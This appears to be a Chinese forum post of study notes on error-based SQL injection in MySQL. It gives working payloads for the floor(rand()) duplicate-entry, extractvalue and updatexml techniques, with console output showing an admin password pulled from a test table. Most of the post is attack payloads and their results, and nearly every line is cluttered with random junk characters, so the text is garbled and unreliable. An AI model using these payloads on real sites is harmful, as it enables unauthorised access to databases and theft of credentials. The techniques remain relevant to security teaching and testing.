放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。! s- ^7 d0 P; D) w! U% o8 r
实际测试环境:
w+ s$ _- ?: q' m) S0 K% B Q8 |! ^/ o
4 @/ |( j: k- L6 k) M/ u& G5 g' L0 `
mysql> show tables;
, k1 c- A A3 @$ j r) A# ?+----------------+
( f5 q4 R) B6 {- I1 z) ?' d| Tables_in_test |
' Y* P8 Y4 T$ }" [4 b+----------------+1 o7 X1 v! @) N3 o$ w0 h* d
| admin |$ D# ~8 G4 y# P4 s$ ~0 T
| article |
5 N1 y, F2 Q& @7 u" }+----------------+
5 F6 K$ z% Z- Q2 T8 O6 M& e* M " a' M& H) K/ ]" m
; o7 r0 P I$ e0 s" \; V' p
; `/ d0 A: s* p8 t% [mysql> describe admin;
+ m( _( j5 n/ `+-------+------------------+------+-----+---------+----------------+$ N( {! K q( [- q6 J3 K( W1 u# @: W
| Field | Type | Null | Key | Default | Extra |
+ J( L- ^) E. n) ]+-------+------------------+------+-----+---------+----------------+7 H. n* B/ {" ~' M
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |4 S" x, T {2 R% \* k+ [8 y
| user | varchar(50) | NO | | NULL | |/ ~; T2 i# j( V# c# t. q3 I
| pass | varchar(50) | NO | | NULL | |
2 @& O# W$ H/ d% c. O2 j4 }+-------+------------------+------+-----+---------+----------------+1 p# Z7 r/ L9 b) E* D# X
# Y& i. ^& h. K4 y$ x9 F! ~
1 e& @# A, o! }, _1 M4 T
$ f6 h. c/ Q) ^) \% ], O
mysql> describe article;. B2 b' G' h, b
+---------+------------------+------+-----+---------+----------------+
8 b1 a- D2 t' l| Field | Type | Null | Key | Default | Extra |
9 u7 ?* @: Q i& k+ Y, D+---------+------------------+------+-----+---------+----------------+
) [2 }, B! B2 p9 l" z& S4 z6 W- y- z| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
2 D v6 R5 x8 ^0 A5 \| title | varchar(50) | NO | | NULL | |
0 [' T: b+ U8 M6 Q| content | varchar(50) | NO | | NULL | |
: r# Y/ \0 z* I- n0 X. K+---------+------------------+------+-----+---------+----------------+- Q5 i4 c: k. m7 A. L0 E
1、通过floor报错
) u8 P; Q7 G, E6 @) ^% @. O可以通过如下一些利用代码
8 c; O# n/ i4 w/ B" z : H# o* s. ?. }9 W' ]" [
( Y, `* n" Z$ }7 h- h+ b* y
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x, p3 b4 H# L; h4 f6 K" q7 a
from information_schema.tables group by x)a);
# y" f; S! p# r9 } + t1 P D5 e! D+ m( e! t% `
) \. S) @' I0 |' A6 gand (select count(*) from (select 1 union select null union select !1)x, v9 }/ T, l; W. _( q+ O8 V0 g
group by concat((select table_name from information_schema.tables limit 1),: b# V. s1 B' p C: y
floor(rand(0)*2)));. q" I2 q" @, K% g# @
举例如下:4 L' T- l1 Q! z- B* i2 e
首先进行正常查询:# g9 ?4 ^/ i/ P* i5 Z
% E$ m9 |6 I: K: y- m7 s. H6 w7 ^
mysql> select * from article where id = 1;2 N& [* A' L2 i% T5 c
+----+-------+---------+0 G% I( X. }' B' j2 ~* Q( O8 e5 L
| id | title | content |
3 @7 v0 R/ ~7 x. ~% V; c4 \3 r+----+-------+---------+" ~( Z8 k1 ?2 n; O& l) s, {
| 1 | test | do it |
+ L; z+ l* d/ v; J+----+-------+---------+
- Y. v' z% D0 h! k, D/ t: ~假如id输入存在注入的话,可以通过如下语句进行报错。
m8 Z: s; b# c4 P t: k+ j / e# B9 j% Z6 }
6 t9 R" X. f! k6 Zmysql> select * from article where id = 1 and (select 1 from
' d z. J1 ?# f4 I1 e4 D1 k(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
/ _7 {+ B" y+ F/ ]3 D9 s5 i2 u2 A8 OERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'8 |8 u8 |/ w8 N" j7 W7 m
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。: T8 I( u/ e3 O, y! f
例如我们需要查询管理员用户名和密码:' P- @: ^7 V1 j5 Y5 N: ^8 p
Method1:
) F6 w4 R4 Z; l
7 d% I0 {0 U( E. P / ~$ [- L6 W, s) K! D/ \' h' }( G
mysql> select * from article where id = 1 and (select 1 from* b. ^% h; V! A9 ?; [
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x* Q" X8 ^+ c( r3 q/ k5 j9 A# [
from information_schema.tables group by x)a);
, I; _8 {9 I- Z) ` I& V2 X( UERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'6 Z& a6 [. Q2 { R- ]! q
Method2:0 X6 |+ L, V& X
3 `3 t# o3 V+ S3 I. D0 d( x
7 m' h# ]0 W0 F4 j' c# [mysql> select * from article where id = 1 and (select count(*)
3 C$ L% z: J& Q) |from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
E- X' c* O. q% Wfloor(rand(0)*2)));
, H. v: U; D' w6 L: b! tERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'; z; s3 `1 V/ L+ P* {
2、ExtractValue
5 L7 H0 A/ h6 q9 h X' ]测试语句如下! y- ]3 A/ O2 i" b- q3 W
, l2 _5 P3 j8 k2 X- v2 n5 z0 i
j# d' W$ W- q0 R- s1 N; X
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));- q. @/ z% T+ U/ Q, I
实际测试过程
& O/ k5 p5 i! F! _" I* D% B1 I$ I$ c * P- E' ?" ^; Z9 r
! ~* R% H' Q# ?: `+ u5 Z4 l
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
- w9 j! o3 D% [ _" | v(select pass from admin limit 1)));--: F& T( h7 d- ?) l8 y
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
: o- _! z2 Z/ L$ ~& W0 E3、UpdateXml" B1 U0 {* e9 J2 X- Y
测试语句$ r) T( u. j% N# m' _) p# f
8 t. {! l+ l) ]* t7 }- J
7 ?3 v( f1 ~& ?3 C2 H; H
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
7 o8 E1 Q5 S( h0 U4 E- D* A实际测试过程" I, P9 A* x* b6 \
# Z# a" z0 L1 e3 Y* F" j $ c) Z+ b& d- e! q$ o$ v3 v( c O
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,' d! h: u' p# h( W* S6 k
(select pass from admin limit 1),0x5e24),1));
. w! Q5 n; c; ]7 j9 nERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
1 Z" m' F) m5 l% q3 C5 y- LAll, thanks foreign guys.8 A" _- X) A% S! Q% |! y
& }$ |0 E7 q- @' I; T; U; W J% U" {: ~
|